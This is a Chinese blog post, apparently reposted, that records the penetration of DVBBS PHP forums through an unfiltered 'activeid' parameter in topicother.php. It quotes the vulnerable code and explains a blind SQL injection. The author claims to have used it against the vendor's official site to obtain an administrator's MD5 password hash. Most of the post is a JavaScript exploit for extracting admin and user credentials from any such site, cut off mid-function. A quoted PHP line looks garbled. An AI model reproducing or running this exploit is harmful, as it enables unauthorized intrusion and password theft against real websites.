渗透php网站步骤,渗透DVBBS php网站的全程记录 -电脑资料

一、 SQL注入漏洞:

晚上检查了好久,终于在topicother.php中发现了一处sql注入漏洞,但是并不像前段时间暴的漏洞那么简单,因为不能把密码直接读出数据库并显示出来,这是个活动帖子的报名主函数,我简单搜索了下,1.0好像后来就增加了这个功能,

function PostActive_Main(){

……

$TopicID = $GLOBALS['id'];

$activeid = trim($_GET['activeid']);//activeid并没有过滤

$timemode = $_POST['payment'];

$systemmode = trim($_POST['contact']);

$message = trim($_POST['message']);

$gettimemode = trim($_POST['timemode']);

$getstarttime = trim($_POST['starttime']);

$getendtime = trim($_POST['endtime']);

$getexpiretime = trim($_POST['expiretime']);

if($timemode ==0)

$costnum = 0;

else

$costnum = intval(trim($_POST['payvalue']));

//直接带进来使用了

if( $query = $db->query("SELECT u1.sex,u1.strength,u2.usersex FROM {$dv}active as u1,{$dv}user as u2 WHERE activeid={$activeid}")){

$activeinfo =& $db->fetch_array($query);

if( !empty($activeinfo) ) {

$db->free_result($query);

}

}

if( $num = $db->query("SELECT count(*) as num from {$dv}activeuser where activeid='".$activeid."'")){

$activenum = $db->fetch_array($num);

if( !empty($activenum) ) {

$db->free_result($num);

}

}

//如果查取的activeid不正确或者后面注入的条件不成立,则显示显示str1:对不起!本活动报名人数已满!

if($activenum['num']>=$activeinfo['strength']){

head(0,0,0,$arrNavMenu);

showmsg($lang['Active_Error.str1']);

exit;

}

//如果activeid正确(后面注入的条件也成立),但没有登陆,就显示str2:请登陆后操作!

if (6368==0) {

head(0,0,0,$arrNavMenu);

showmsg($lang['Active_Error.str2']);

exit;

}

//如果activeid正确并且已经登陆了,递交的时候没有递交联系方式,则会显示str6这个错误:对不起联系方式不能为空或小于8个字符!

if (''==$systemmode||strlen($systemmode)<8) {

head(0,0,0,$arrNavMenu);

showmsg($lang['Active_Error.str6']);

exit;

}

}

首先先确定有没有activeid为1的活动帖子,就是在论坛目录后加上

topicother.php?t=9&action=join&activeid=1

显示“对不起!本活动报名人数已满!”则有可能不存在,自己注册个号进去发个活动帖子先,渗透DVBBS php网站的全程记录》(https://www.unjs.com)。

根 据上面解释,大家是否已经看出来该怎么注入啦,并不是什么都需要工具的,想当年ACCESS手工注入又不是没注入过,判断条件正确就返回正常,错误就不正 常显示;这里不也是同样的道理么,不管有没登陆,出错都显示:“对不起!本活动报名人数已满!”,如果判断条件正确,没有登陆的话显示:“请登陆后操 作!”,已经登陆了显示:“对不起联系方式不能为空或小于8个字符!”于是当晚我手动测试了一下官方,并成功获得了一个管理员的16位MD5的密码。兴奋 的去睡觉,躺在床上却怎么也睡不着:怎么去更简单的利用呢?一边思考,一边入睡,睡着的时候天都亮了。

5个小时后,睡醒了继续搞,因为没有 开发那种application程序的经验,所以我没想去写个exp工具,但一直手工多麻烦啊,记得以前开发网站的时候用ajax去get或者post数 据并回显的,这里是不是也一样可以?于是自己尝试写,轻轻松松写出个单一判断md5某一位的ajax代码,可是在写循环的时候却出错了,后来flyh4t 上线丢给我一段代码,我参考了一下然后一个可以读任意DVBBS php站点管理员密码的基于页面的Exploit code搞定了(列出主要代码):

function sendCall(i,j,url,w,p) {

if (p=="temp"){p=url}

//后台密码、用户名、关联的前台用户名

switch(parseInt(w)){

case 0:url = p+"/**/and/**/ascii(mid(password,"+i+",1))="+j+")/**/";break;

case 1:url = p+"/**/and/**/ascii(mid(username,"+i+",1))="+j+")/**/";break;

case 2:url = p+"/**/and/**/ascii(mid(adduser,"+i+",1))="+j+")/**/";break;

//前台密码、用户名

case 3:url = p+"/**/and/**/ascii(mid(userpassword,"+i+",1))="+j+")/**/";break;

case 4:url = p+"/**/and/**/ascii(mid(username,"+i+",1))="+j+")/**/";break;

}

if (window.ActiveXObject) {

xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

} else if (window.XMLHttpRequest) {

xmlHttp = new XMLHttpRequest();

//解决FF中跨域问题

try{

netscape.security.PrivilegeManager.enablePrivilege( "UniversalBrowserRead ");

} catch (e) {

alert( "Permission UniversalBrowserRead denied. ");

}

}

xmlHttp.onreadystatechange = function() {

if(xmlHttp.readyState == 4 && xmlHttp.status ==200) {

var str = xmlHttp.responseText;

var md5hash=document.getElementById("md5hash");

if(!str.match(/\u672c\u6d3b\u52a8\u62a5\u540d\u4eba\u6570\u5df2\u6ee1/)) {

pass += String.fromCharCode(j);

md5hash.innerHTML = pass;

j = 48;

i++;

}

else {

if(j == 59&&(parseInt(w)==0||parseInt(w)==3)) { j = 96; }

else { j++; }

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值